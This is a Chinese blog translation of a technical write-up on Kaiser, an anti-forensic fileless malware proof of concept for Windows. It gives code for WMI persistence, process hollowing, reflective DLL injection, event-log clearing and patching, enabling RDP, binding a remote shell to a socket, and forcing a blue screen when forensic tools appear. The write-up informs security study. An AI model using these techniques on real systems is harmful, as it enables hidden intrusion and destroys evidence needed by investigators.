Jirairya

反取证的无文件恶意程序


看这篇反取证文章的英文版时学到了很多,遂将该文章翻译分享给大家,译文开始投稿于t00ls上,现在博客中分享。

简介

恶意程序最重要的就是存活,开发一个完整的恶意软件需耗费大量资源。保持其持久性和规避安全检测对其长久存活至关重要,且这种需求变得越来越可贵。

存活持久的恶意程序用于攻击时,占用空间小,能躲避取证系统的捕获和分析。再结合无文件技术,就有足够的攻击力侵害系统,还能规避已成熟的传统恶意程序检测系统。

用于实验验证的Kaiser就是一个反取证的无文件恶意程序,该POC的验证功能有:

  • 无文件攻击
  • 持久存活
  • 执行二进制文件
  • 禁用事件日志记录
  • 反取证
  • 不允许研究员深入分析

基本概念

本节讨论Kaiser实现反取证和无文件功能的相关知识。

无文件技术

目前,“无文件”技术的详细解释没有官方定义。因此根据微软的无文件威胁文章给出的描述,将所理解的概念用于本文。微软归纳了三种类型的“无文件”技术:

  • 类型I:不执行文件活动: 永远不会触及磁盘的无文件技术,利用漏洞直接进行内存注入,攻击系统。这种技术极其危险,被归类为高度复杂、难以修复、不常见、不实用的攻击技术。
    • 利用永恒之蓝漏洞安装DoublePulsar后门,该后门只驻留在内核内存中
    • 恶意代码隐藏在设备固件中,如BIOS、USB、网卡等固件
  • 类型II:间接文件活动: 传统意义上的不写入文件系统的无文件技术。这类无文件技术可以利用Windows Management Instrumentation(WMI)进行安装、执行命令,实现持久性恶意活动。WMI存储库是作为物理文件存在的,是一个“多用途数据容器”。因此,已安装的恶意代码间接使用磁盘,检测和删除嵌入的恶意数据也非易事。
    • Poshspy后门在WMI存储库中安装了恶意PowerShell命令,并配置了WMI筛选器,定期运行恶意命令。
  • 类型III:操作所需的文件: 使用exe、DLL、LNK文件或计划任务进行执行指令和注入操作。
    • KOVTER通过创建快捷方式执行JavaScript实现本地持久化。JavaScript脚本会启动一个能够执行shellcode的PowerShell脚本,所执行的shellcode会将恶意代码注入到一个非恶意的应用程序中,并执行这个应用程序。

以下主要详细说明类型II和类型III,以便后续实验论证POC的持久性。

持久性

Windows Management Instrumentation(WMI)是基于Windows的操作系统上管理数据和操作的基础结构。它提供了存储和查询数据的方法,以及提供执行操作的方法,每种方法都在自己适当的类下进行分类,每个类都位于各自的命名空间下。例如,Win32_Process 类包含有关现有进程的数据,可查询的命令行,可执行文件路径、名称、进程ID。它还提供了Create方法来生成新进程。

除了存储数据之外,WMI还有一个通知系统,可以在特定事件上触发,有两种类型:内在和外在。当WMI内部发生更改(即对类、对象、命名空间的任何修改)时,会发生内部事件。相反,外部事件发生在WMI外部发生更改时,例如进程、模块、线程启动、注册表更改。

事件筛选器被描述为WMI触发事件的条件。可以通过指定筛选器查询生成它们,查询对应触发的事件。在重新启动持久性的情况下,可能需要设置在用户登录系统时触发的事件筛选器,即在实例创建Win32_LoggedOnUser类时触发。下面PowerShell代码演示了此示例:

$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
$evtFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name = "FilterName";
    EventNamespace = "root\cimv2";
    QueryLanguage = "WQL";
    Query = $query;
}

事件筛选器可向使用者传递事件触发时采取的操作。要执行操作,可以创建__EventConsumer类。CommandLineEventConsumer类是一个特殊的__EventConsumer类,它可以通过定义命令行上的CommandLineTemplate参数,在命令行商执行任意命令。以下PowerShell代码演示了此示例:

$cmd = powershell.exe C:\Path\To\Script.ps1
$evtConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
    Name = "ConsumerName";
    CommandLineTemplate = $cmd
}

最后,要将事件筛选器与其使用者组合,可以使用__FilterToConsumerBinding类。下面的PowerShell代码解释了这个例子:

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
    Filter = $evtFilter;
    Consumer = $evtConsumer
}

在创建、注册这三个类的实例后,每当用户登录系统时,它将触发事件筛选器,使用者将激活PowerShell脚本,并执行。要将其转换为第II类无文件,可以将定义的PowerShell脚本内容转换为命令行,简化代码。

Process Hollowing

Process Hollowing(进程空化)是现代恶意软件常用的一种进程创建技术。一般来说,使用Process Hollowing技术所创建出来的进程在使用任务管理器之类的工具进行查看时,它们看起来是正常的,但是这种进程中包含的代码实际上就是恶意代码。

这种技术可以对运行中的进程进行动态修改,并且整个过程既不用挂起进程,也不需要调用额外的Windows API,即无需调用WriteProcessMemory, QueueUserApc, CreateRemoteThreadSetThreadContext

第三方应用程序可以直接从内存中无文件执行。Process Hollowing技术描述了一个示例,当用户调用、执行PE文件时,通过Windows镜像加载器模拟用户执行过程。以下步骤描述了如何执行此操作:

  1. 读取所需PE文件的原始字节
  2. 验证PE文件格式
  3. 创建暂停的流程
  4. 取消映射挂起进程的可执行映像
  5. 将PE文件的字节映射到进程中
  6. 将入口点设置为PE文件的入口点
  7. 恢复过程

映射PE文件对于进程空化(Process Hollowing)来说相对简单,因为它会自动初始化内存中的所有必需对象,例如DLL和可执行映像的导入值。

如图所示,必须将磁盘上的PE文件扩充,填充其大小成员所描述的内存中的每个部分。PE文件的头大小保持不变,从ImageBase开始,每个部分都必须转换为其正确的虚拟偏移量,并填充到其VirtualSize,而不是SizeOfRawData

所需的PE文件的字节可以存储在内存中,用于在内存中替换使其实现无文件。由于这使用来自磁盘的文件,因此它也被认为是无文件技术(第III类)

反射型DLL注入

反射型DLL注入使用一种类似的方法来处理进程空化,但它需要稍微多一些操作,因为不像进程空化能自动初始化。在映射PE文件(遵循与进程空化相同的过程)之后,必须手动更新重定位表和导入表的正确值。

修复重定位表

如果DLL没有加载到所需的基址,则需要解析重定位,以便代码中对其他部分的引用是准确的。这是由于链接器在映射到内存时产生image base。如果存在重定位表,可以在.reloc部分中找到它,该部分包含一个IMAGE_BASE_RELOCATION结构数组,每个结构后面跟着包含重定位类型和偏移量的双字节偏移量值。结构是这样定义的:

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;

这个VirtualAddress是下一个重定位块的起始RVA,整个SizeOfBlock块的大小包括IMAGE_BASE_RELOCATION结构TypeOffset重定位表。对于每个TypeOffset值,前4位详细说明重定位类型,后12位是VirtualAddressRVA的偏移量。例子:

VirtualAddress: 0x00001000; SizeOfBlock: 0x0000000C
TypeOffset: 0x300C
TypeOffset: 0x3010

两个TypeOffset都是IMAGE_REL_BASED_HIGHLOW重定位类型,其值为3。第一个偏移位于0xC,第二个偏移位于0x10。假设DLL加载到0x01000000,其ImageBase是0x00400000。重定位表将按如下方式计算(LdrRelocateImageWithBias() LdrProcessRelocationBlockLongLong()):

//链接器假定的所需基址,从IMAGE_OPTIONAL_HEADER.ImageBase获得
DWORD ImageBase = 0x00400000;
// 从IMAGE_RELOCATION_BLOCK.VirtualAddress获取重定位块的RVA
ULONG VirtualAddress = 0x00001000;
// 实际加载DLL的基址
PVOID BaseAddress = 0x01000000;
// 重定位块的起始地址
ULONG_PTR Address = (ULONG_PTR)BaseAddress + (ULONG_PTR)VirtualAddress;
// 基址和ImageBase之间的区别
LONGLONG Delta = (ULONG_PTR)BaseAddress - ImageBase; // = 0x00C00000

PULONG LongPtr = NULL;
SHORT Offset = 0;

// 计算第一次重定位
USHORT TypeOffset1 = 0x300C;
//从VirtualAddress获得偏移量
Offset = TypeOffset1 & 0xFFF;
LongPtr = (PULONG)(Address + Offset);
// 更正第一次重定位的值
*LongPtr += Delta;

// 计算第二次重定位
USHORT TypeOffset2 = 0x3010;
// Get the offset from VirtualAddress.
Offset = TypeOffset2 & 0xFFF;
LongPtr = (PULONG)(Address + Offset);
// 更正第二次重定位的值
*LongPtr += Delta;

注意:仅IMAGE_REL_BASED_HIGHLOW重定位类型就足以满足本文所需范围

修复导入表

导入表由外部共享库的函数组成,这些函数在运行时为应用程序提供扩展功能,尤其是对于由常见DLL(ntdll.dllkernel32.dll)导出的Windows API例子。当可执行文件加载到内存中时,必须使用导出函数在内存中的正确地址进行初始化,以便可以引用和使用它。

首先遍历导入表需要识别IMAGE_IMPORT_DESCRIPTOR结构,该结构定义为:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
ULONG Characteristics;
ULONG OriginalFirstThunk;
} DUMMYUNIONNAME;
ULONG TimeDateStamp;
ULONG ForwarderChain;
ULONG Name;
ULONG FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;

这个结构的重要成员是OriginalFirstThunkNameFirstThunkName成员指向DLL的ASCIIZ字符串,该字符串为这组导入表提供系统导出函数的地址。’OriginalFirstThunkFirstThunk都指向一个IMAGE_THUNK_DATA`结构,它们在磁盘上与原始可执行文件相同。它定义为

typedef struct _IMAGE_THUNK_DATA32 {
union {
ULONG ForwarderString;
ULONG Function;
ULONG Ordinal;
ULONG AddressOfData;
} u1;
} IMAGE_THUNK_DATA32, *PIMAGE_THUNK_DATA32;

这个数据结构可以解释为四个联合成员和IMAGE_IMPORT_BY_NAME结构中的任何一个,它定义为:

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD Hint;
    BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

当可执行文件被映射到内存并且初始化导入表时,它将遍历IMAGE_THUNK_DATA结构的FirstThunk数组,并用它在内存中的函数地址替换它们。要找到该函数,就要使用针对最高有效位的按位和操作来检查IMAGE_THUNK_DATA.Ordinal,即IMAGE_THUNK_DATA.Ordinal&0x80000000。 如果设置了,则序数将是该值的低16位,并且可以使用它作为DLL的序数表中的偏移来定位函数。例如,如果Ordinal值是’0x8000013D,则序数值将是'0x13D。否则,就要通过跟随IMAGE_IMPORT_BY_NAME结构并使用其Name成员,按名称找到该函数。Hint可以用作DLL导出的名称表的偏移量,查找导出函数的地址,但也需要检查函数名称是否匹配。不过它是可选的,且某些链接器不设置此值。一旦找到该函数的地址,它将用地址替换FirstThunkIMAGE_THUNK_DATA结构,同时保留OriginalFirstThunk的完整性。(参见导入表

后门

通过使用称为Living off Land(LOL)的技术来实现第III类型无文件后门是可以的,该技术描述了系统上现有可执行文件的执行操作。这样就不需要恶意程序导入自身,或将其他工具丢弃到机器上。从而使其本身实现无文件,且也可以作为一种偶然事件。Windows自带有Remote Desktop Protocol(RDP)协议,可以通过网络从远程计算机访问系统,但它可能被禁用。需要做一些设置才能启用它:

  • 将注册表HKLM\System\CurrentControlSet\Control\Terminal ServerfDenyTSConnections 设置为0,允许连接
  • 将注册表 HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TcpUserAuthentication 设置为0,关闭网络等级验证
  • Windows防火墙应允许入站TCP连接3389端口

反取证技术

Forensics Wiki将反取证定义为:“试图对犯罪现场证据的存在、数量、质量产生负面影响,或难以对证据进行分析”;MITRE ATT&CK使用“防御规避”来描述反取证——“对手可能用来逃避侦察或规避其他防御措施的技术”。

将要讨论的反取证方法仅是反取证技术中的一小部分,这些方法会尝试删除或隐藏恶意软件操作的证据,检测、破坏取证调查、分析的能力。其中包括篡改事件记录和活动监控,扰乱对系统、恶意软件的正确分析。

禁用事件记录

Microsoft将事件记录定义为“用于记录重要软件和硬件事件的应用程序(和操作系统)的标准集中方式。事件记录服务记录各种事件来源,并将它们存储在称为事件日志的单个集合中。”事件日志可能包含大量信息,包括但不限于用户登录、外部设备连接、进程创建、远程桌面连接、文件活动、远程线程创建。 与其他Windows服务一样,事件日志记录服务在svchost进程下作为线程运行。从取证的角度来看,它是一种有价值的来源,通过监测或从感兴趣的机器中恢复,可以从中检测或发现某些活动。

拒绝事件记录是为了避免管理中的初始检测,在必要时破坏关键证据,并对受感染系统进行适当分析。重要的是,尽管它有效,但是当日志条目之间存在长时间延迟时会出现日志为空。这留给取证员了解其工作原理以及何时禁用事件记录是合适、必要的。

使用Windows事件日志API的EvtClearLog很轻松就可以清除事件日志,还可以指定要删除的ChannelPath。例如,下面的调用可以清除Windows日志的安全事件日志:

EvtClearLog(NULL, L"Security", NULL, 0);

它还可用于清除应用程序和服务日志的操作日志。以下代码可以清除终端服务的本地会话管理器,该管理器存储了与远程桌面协议相对应的日志:

EvtClearLog(NULL, L"Microsoft-Windows-TerminalServices-LocalSessionManager/Operational", NULL, 0);

应该注意的是,如果清除安全事件日志,则特殊事件(ID 1102)将会保留,声明为“审核日志已清除”。此外,如果系统配置为将日志转发到远程服务器,则清除事件日志是无效的。有两种方法可以阻止这些机制:挂起事件记录服务的线程,修补事件记录服务的模块。

暂停事件记录线程

Halil Dalabasmaz的帖子Phant0m: Killing Windows Event Log,告知了两种定位事件记录服务线程的方法:分析svchost进程的TEB中的SubProcessTags或使用调试符号遍历线程堆栈。本文只关注前者。

为什么要分析SubProcessTag呢?因为它可以用于标识线程服务。在本例中,它用于标识事件记录服务的线程。SubProcessTag位于事件日志记录服务流程的TEB中,可以通过执行以下步骤中找到(参见HOWTO: Use I_QueryTagInformation):

  1. 使用OpenService识别事件记录服务进程
  2. 使用OpenProcess打开进程
  3. 迭代进程的线程
  4. 对于每个线程,使用NtQueryInformationThread 获取TEB地址.
  5. 使用ReadProcessMemory获取TEB结构中的SubProcessTag

为了检查线程的服务标记,调用I_QueryTagInformation函数,并使用ServiceNameFromTagInformationSC_SERVICE_TAG_QUERY_TYPE的值,该值将标记信息存储到SC_SERVICE_TAG_QUERY结构类型中,定义为:

typedef struct _SC_SERVICE_TAG_QUERY {
    ULONG ProcessId;
    ULONG ServiceTag;
    ULONG Unknown;
    PVOID Buffer;
} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;

在调用I_QueryTagInformation之前,应该按如下方式初始化结构:

SC_SERVICE_TAG_QUERY sstq;
sstq.ProcessId = (ULONG)dwProcessId;
sstq.ServiceTag = (ULONG)uServiceTag;
sstq.Unknown = 0;
sstq.Buffer = NULL;

其中dwProcessId是包含该线程的服务的进程ID,而uServiceTagSubProcessTag的值。成功时,Buffer成员将会有服务标记的字符串,也就是说,如果查询事件日志记录线程,它将包含"eventlog"。在识别出所有事件记录线程之后,可以使用带有THREAD_SUSPEND_RESUME访问权限的OpenThread打开它们,然后暂停或恢复它们。

修补事件记录模块

可以修补事件日志记录服务,防止通过定位相应的svchost.exe进程中存在的wevtsvc.dll模块来写入事件日志。[Mimikatz源代码](https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/mimikatz/modules/kuhl_m_event.c)详细介绍了wevtsvc.dllChannel::ActualProcessEvent函数的内联修补技术。以下反汇编代码是从IDA Pro获得的:

; void __thiscall Channel::ActualProcessEvent(Channel *this, struct BinXmlReader *)

            6A 10   push    10
   B8 B8 F9 69 71   mov eax,    offset loc_7169F9B8
   E8 57 EF FF FF   call    __EH_prolog3_0
            8B F1   mov esi,    ecx
         8B 4D 08   mov ecx,    [ebp + arg_0]       ; this
   E8 1C F8 FF FF   call    BinXmlReader::Reset     ; BinXmlReader::Reset(void)
            33 C9   xor ecx,    ecx
38 8E C0 00 00 00   cmp [esi + 0C0h],   cl
            74 0C   jz  short loc_715D286D

-12(十进制)偏移量的字节模式的第一个实例是8B F1 8B 4D 08 E8,位于模块内,字节被替换为C2 04 00,它被反汇编成:

字节模式8B F1 8B 4D 08 E8的第一个实例位于模块内,从-12(十进制)的偏移量起,字节被替换为C2 04 00,反汇编成:

; void __thiscall Channel::ActualProcessEvent(Channel *this, struct BinXmlReader *)

         C2 04 00   ret 4

这只是强制函数立即return,让剩余的原始代码不被运行。

取证分析预防

在对受感染机器进行分析时,应获取内存的取证图像;当不再需要恶意软件时,应删除恶意程序的可疑存在和活动的证据。下面讨论了可以实现的一些方法,包括:卸载持久性机制,删除潜在的证据来源,销毁内存驻留的任何痕迹。

卸载的持久性

利用WMI卸载持久性机制可防止将来恶意软件的执行。如果使用此持久性引导所有恶意载荷,则该卸载将有效地删除所有代码痕迹,扰乱恢复,从而防止分析。

可以通过IWbemServices接口在C代码中完成删除WMI中的持久性机制。

初始化并连接到WMI服务器的root\subscription命名空间后,IWbemServices可用于删除给定路径的实例。例如,删除CommandLineEventConsumer可以通过以下方式完成:

// 初始化IWbemServices指针
IWbemServices *pSvc = NULL;

// 设置要删除的WMI实例的路径
LPWSTR szPath = L"CommandLineEventConsumer.Name='ExampleConsumer'"

// 删除
BSTR bPath = SysAllocString(szPath);
HRESULT hRes = pSvc->lpVtbl->DeleteInstance(pSvc, bPath, 0, NULL, NULL);
SysFreeString(bPath);
擦除事件日志

作为一种预防措施,如果系统没有将任何日志转发到远程服务器并且试图分析受感染的计算机,则事件日志会删除可用于取证调查的主要信息源。可以使用前面提到的EvtClearLog来清除事件日志。

清理内存痕迹

在受感染计算机上执行分析时,销毁驻留在内存中的痕迹至关重要,因为恶意代码可能在内存映像捕获中被捕获。在执行映像捕获之前,可以破坏内存中的数据—— 一种解决方案是导致系统关闭或重置。这可以通过产生蓝屏(BSOD)来强制实现。注意,虽然易失性内存中的数据将被删除,但Windows可能会生成崩溃转储文件来保持BSOD事件中的内存状态。可以通过修改以下设置来禁用崩溃转储文件:

  • 将注册表HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestoreRPSessionInterval应设置为0
  • 删除HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPPClients注册表子项
  • 删除HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP中的Leases注册表子项
  • HKLM\System\CurrentControlSet\Control\CrashControlCrashDumpEnabled设置为0

在禁用崩溃转储后,可以通过两种方法在用户空间中创建BSOD:调用NtRaiseHardError;或设置关键进程,然后终止它。对于带有NtRaiseHardError的BSOD,必须将OptionShutdownSystem参数传递给HARDERROR_RESPONSE_OPTION参数,并且该进程必须具有SeShutdownPrivilege权限:

// 获取关闭权限
if (ProcessSetPrivilege(GetCurrentProcess(), SE_SHUTDOWN_NAME, TRUE) == TRUE) {
    HARDERROR_RESPONSE hr;
    //触发BSOD 
    NtRaiseHardError(STATUS_ACCESS_DENIED, 0, NULL, NULL, OptionShutdownSystem, &hr);
}

创建和终止关键进程相对简单:

// 设置关键进程
RtlSetProcessIsCritical(TRUE, NULL, FALSE);
// 通过终止关键进程来触发BSOD
ExitProcess(0);

Kaiser

Kaiser是一种实验验证的恶意软件,目的是在Windows 7的32位操作系统上演示反取证的无文件技术。主要通过以下函数实现:

  • mimikatz:通过process hollowing反射性地将Mimikatz第三方应用程序加载到预定义的系统二进制文件进程中,并连接到用户指定的远程地址和端口,以便进行远程交互式会话。Mimikatz二进制文件被压缩并嵌入Kaiser中。
  • shell:通过process hollowing反射性地将Windows shell应用程序(cmd.exe)加载到预定义的系统二进制文件进程中,并连接到用户指定的远程地址和端口,以便进行远程交互式会话。
  • evtlog:启用或禁用事件记录服务,或清除选择的事件日志。可以挂起或恢复事件记录线程,也可以修补或取消修补事件记录服务的模块。
  • rdp:启用或禁用远程桌面协议。
  • dex:下载并执行; 通过process hollowing下载并反射性地将应用程序加载到预定义的系统二进制文件的进程中,并可选择通过网络连接到用户指定的远程地址和端口,进行远程交互式会话(仅限控制台应用程序)。
  • purge:清除预定义的事件日志,卸载WMI持久性机制,强制BSOD。生成一个单独的线程来监视分析工具,这些工具在被触发时将激活所有先前的清除操作。

持久性机制

Kaiser的初始感染向量是PowerShell脚本,该脚本将下载程序脚本安装到WMI中,实现持久性。下载的脚本是Invoke-ReflectivePEInjection.ps1。然后,将Kaiser.dll二进制文件下载到内存中,并将其反射注入到services.exe进程(默认情况下)。

  1. 在WMI中安装一个CommandLineEventConsumer下载程序,激活每个用户登录
  2. 下载程序脚本将包含Invoke-ReflectivePeInjection.ps1的另一个脚本下载到内存中
  3. 第二个脚本将Kaiser.dll下载到内存中,然后调用Invoke-ReflectivePEInjection.ps1注入到services.exe

由于WMI使用者在NT AUTHORITY\SYSTEM下运行,因此可以注入services.exe。每个阶段都是无文件执行的,并且实现持久性也是如此。

Kaiser的启动有多个阶段,必须要有至关重要的条件,如互联网访问、每个阶段都执行没有错误。这样做的优点是可以相对容易地更新有效载荷(假设下载地址相同),并且实现移除资源就无法访问有效载荷。

进程空化和远程交互式会话

通过网络实现的远程交互式会话仅适用于Mimikatz或cmd.exe等控制台应用程序,因为它们使用的是标准输入和输出句柄。使用CreateProcess创建一个带有process hollowing的进程,允许通过STATUPINFO将标准句柄设置为套接字(使用WSASocket初始化):

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

要使用标准句柄,dwFlags成员必须具有STARTF_USESTDHANDLES值。要通过网络引导它们,只需将句柄设置为套接字的值,如下所示:

//使用WSASocket初始化套接字
SOCKET socket = CreateSocket(...);
//初始化STARTUPINFO结构
STARTUPINFO si;

//使用std句柄并将其设置为套接字
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;

//开始进程空化
CreateProcess(..., &si, ...);

规避取证分析

purge模块提供进程监控功能,旨在针对可能用于对抗分析Kaiser的任何取证工具。实验例子会主动搜索在进程名称中包含“ftk”字符串的新进程(ftk不区分大小写),防止FTK内存取证工具。如果条件满足,它将立即清除一些预定义的事件日志,卸载WMI中的持久性机制,然后使用BSOD使系统崩溃,保护Kaiser免受任何形式的分析,防止任何进一步的取证调查。

多个阶段的无文件操作实现程序的持久性,即使CommandLineEventConsumer记录了脚本日志,也只会指向Kaiser的在线资源库地址。如果攻击出现告警,可以删除它来轻松解决安全预警。因此,只要在一定的时间内先于取证者做出反应,就能延长恶意代码的生命周期,无需重新开发。

进一步改进

Kaiser在很多方面还可以改进,包括:

  • 事件日志记录的自动化。在执行恶意任务时自动禁用和启用事件日志记录,从而避免攻击者的错误操作被记录。这一点很重要,因为Kaiser操作某些功能的方式是非同步的,而且在shell或Mimikatz使用期间,事件日志禁用可能会发生很长一段时间,这种就没多大必要。
  • 无攻击活动后自动卸载。如果由于任何特殊原因,不再访问受感染机器上的Kaiser实例,则应执行自动卸载,防止任何不必要的检测。
  • HOOK事件记录服务,删除与Kaiser活动相关的事件。这可能有助于解决自动禁用和启用,同时允许无缝地记录良性条目。
  • 要监控的其他分析工具。目前对抗的取证工具就FTK一个。应该在列表中添加更多取证工具(如dd和Sysinternals工具),可以使反取证分析更加有效。

结论

本报告旨在展示无文件的反取证技术,恶意程序可以利用这些技术来逃避检测和取证分析。Kaiser演示的例子有无文件WMI持久性、第三方应用程序的后门访问和执行,以及销毁或禁用取证证据来源(如事件日志记录服务和内存驻留痕迹)的反取证方法。这些战术可以被老练的对手滥用来攻击系统,同时最小化被发现、被追踪风险,规避了取证调查。

原项目地址:

  • https://github.com/NtRaiseHardError/Kaiser
  • https://github.com/NtRaiseHardError/NtRaiseHardError.github.io/blob/master/_posts/2018-12-06-Anti-forensic-Malware-and-File-less-Malware.md

参考文献

  1. Microsoft, Fileless threats, https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/fileless-threats
  2. Microsoft, Windows Management Instrumentation, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-start-page
  3. Microsoft, Win32_Process class, https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-process
  4. Microsoft, Create method of the Win32_Process class, https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/create-method-in-class-win32-process
  5. Microsoft, Determining the Type of Event to Receive, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/determining-the-type-of-event-to-receive
  6. Microsoft, Creating an Event Filter, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/creating-an-event-filter
  7. Microsoft, Win32_LoggedOnUser, https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-loggedonuser
  8. Microsoft, __EventConsumer, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/–eventconsumer
  9. Microsoft, CommandLineEventConsumer, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/commandlineeventconsumer
  10. Microsoft, __FilterToConsumerBinding, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/–filtertoconsumerbinding
  11. Microsoft, Peering Inside the PE https://msdn.microsoft.com/en-au/library/ms809762.aspx
  12. ReactOS, IMAGE_BASE_RELOCATION, https://doxygen.reactos.org/d5/d44/ntimage_8h_source.html#l00162
  13. ReactOS, LdrRelocateImageWithBias, https://doxygen.reactos.org/df/da2/sdk_2lib_2rtl_2image_8c.html#a61fae0253935550115acc7751e6d6073
  14. ReactOS, LdrProcessRelocationBlockLongLong, https://doxygen.reactos.org/df/da2/sdk_2lib_2rtl_2image_8c.html#a79a460be03d9da50f71d427b26238496
  15. ReactOS, IMAGE_IMPORT_DESCRIPTOR, https://doxygen.reactos.org/d5/d44/ntimage_8h_source.html#l00572
  16. ReactOS, IMAGE_THUNK_DATA, https://doxygen.reactos.org/d5/d44/ntimage_8h_source.html#l00510
  17. ReactOS, IMAGE_IMPORT_BY_NAME, https://doxygen.reactos.org/dd/d43/pedump_8c_source.html#l00328
  18. Iczelion, Tutorial 6: Import Table, http://win32assembly.programminghorizon.com/pe-tut6.html
  19. Forensics Wiki, Anti-forensics, https://www.forensicswiki.org/wiki/Anti-forensic_techniques
  20. MITRE ATT&CKTM, Defense Evasion, https://attack.mitre.org/tactics/TA0005/
  21. Microsoft, Event Logging, https://docs.microsoft.com/en-us/windows/desktop/eventlog/event-logging
  22. Microsoft, EvtClearLog, https://docs.microsoft.com/en-us/windows/desktop/api/winevt/nf-winevt-evtclearlog
  23. Phant0m: Killing Windows Event Log, https://artofpwn.com/phant0m-killing-windows-event-log.html
  24. HOWTO: Use I_QueryTagInformation, https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/
  25. GitHub, Mimikatz Event log, https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/mimikatz/modules/kuhl_m_event.c
  26. Microsoft, IWbemServices, interface https://docs.microsoft.com/en-us/windows/desktop/api/wbemcli/nn-wbemcli-iwbemservices
  27. NTAPI Undocumented Functions, NtRaiseHardError, https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtRaiseHardError.
  28. GitHub, Invoke-ReflectivePEInjection.ps1, https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1#L662
  29. Microsoft, STARTUPINFOA, https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/ns-processthreadsapi-_startupinfoa
  30. 如何绕过现代Process Hollowing检测机制,https://www.freebuf.com/articles/system/154421.html

PS:这篇文章对无文件和反取证的知识点讲解很详细,而且还有实际的代码例子可做案例参考,笔者看后觉得很有启发,学到了很多,就花了一天的时间对原文章增删改,尽量以通俗易懂的形式翻译。不过小弟知识水平有限,写的错误的或者不足的,望师傅们指正。


Similar Posts

下一篇 curl命令

Comments